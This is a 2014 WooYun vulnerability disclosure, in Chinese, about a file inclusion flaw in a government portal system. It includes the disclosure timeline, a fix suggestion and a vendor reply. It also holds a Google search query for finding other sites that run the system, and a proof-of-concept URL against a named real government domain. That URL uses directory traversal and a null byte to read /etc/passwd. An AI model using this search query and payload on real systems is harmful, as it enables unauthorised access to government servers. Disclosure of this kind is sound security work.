[公开漏洞]某政府门户系统存在高危漏洞

某政府门户系统存在高危漏洞 相关厂商： cncert国家互联网应急中心 漏洞作者：wefgod 提交时间：2014-03-19 19:00 公开时间：2014-05-03 19:00 漏洞类型：文件包含 危害等级：高 自评Rank：15 漏洞状态： 已交由第三方厂商(cncert国家互联网应急中心)处理 漏洞来源：http://www.wooyun.org Tags标签： 文件包含漏洞 漏洞详情 披露状态：

2014-03-19：细节已通知厂商并且等待厂商处理中
2014-03-27：厂商已经确认，细节仅向厂商公开
2014-04-06：细节向核心白帽子及相关领域专家公开
2014-04-16：细节向普通白帽子公开
2014-04-26：细节向实习白帽子公开
2014-05-03：细节向公众公开

简要描述：

啊

详细说明：

谷歌搜索：

http://www.google.de/#newwindow=1&q=inurl:m%2Fsearch%2Flist.php%3FsiteId%3D

应该是叫拓普网络的公司开发的系统。似乎不少政府用他做门户的

存在文件包含的漏洞，需要配合00截断来使用。

漏洞证明：

例子一枚：

http://www.feixian.gov.cn/index.php?c=MTA3==&op=../../../../../../../../../../etc/passwd%00.jpg

其它的路径相对难找一些，有个别是win的。

修复方案：

过滤下../和00字节之类的。

版权声明：转载请注明来源 wefgod@乌云 漏洞回应 厂商回应：

危害等级：中

漏洞Rank：9

确认时间：2014-03-27 08:39

厂商回复：

已经转由CNCERT下发给山东分中心处置，对于通用性暂未进一步确认。

最新状态：

暂无